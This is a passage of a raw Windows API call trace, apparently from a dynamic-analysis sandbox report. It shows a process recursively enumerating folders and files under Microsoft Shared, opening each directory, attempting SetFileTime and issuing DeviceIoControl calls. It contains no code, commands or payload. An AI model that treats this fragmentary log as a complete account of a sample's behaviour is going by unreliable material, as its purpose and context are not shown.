ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.082] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0243.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f598 [0243.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918870 [0243.082] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0243.082] GetLastError () returned 0x12 [0243.083] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0243.083] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0243.083] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.083] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0243.083] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0243.083] GetLastError () returned 0x12 [0243.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.083] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0243.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91f598) returned 1 [0243.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0243.083] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0243.083] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0243.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0243.110] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0243.110] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920c00 [0243.111] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920c00, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920c00, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0243.111] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920c00) returned 1 [0243.111] NtClose (Handle=0x1b0) returned 0x0 [0243.111] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0243.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0243.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.111] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0243.111] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.111] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0243.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.111] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.111] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.111] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.111] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0243.111] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f598 [0243.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918890 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x920c18 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x900) returned 0x922c00 [0243.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920338) returned 1 [0243.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.112] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9188b0 [0243.112] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x920d20 [0243.112] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.112] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0243.112] GetLastError () returned 0x12 [0243.112] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0243.112] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0243.113] GetLastError () returned 0x12 [0243.113] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.113] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0243.113] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91f598) returned 1 [0243.113] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0243.113] GetLastError () returned 0x12 [0243.113] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0243.113] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0243.113] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0243.113] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0243.113] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0243.113] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0243.114] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0243.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0243.114] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0243.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x923508 [0243.114] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x923508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x923508, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0243.114] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923508) returned 1 [0243.114] NtClose (Handle=0x1bc) returned 0x0 [0243.114] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0243.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0243.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0243.114] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0243.114] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0243.114] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.115] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0243.115] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0243.115] GetLastError () returned 0x12 [0243.115] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0243.115] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0243.115] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, 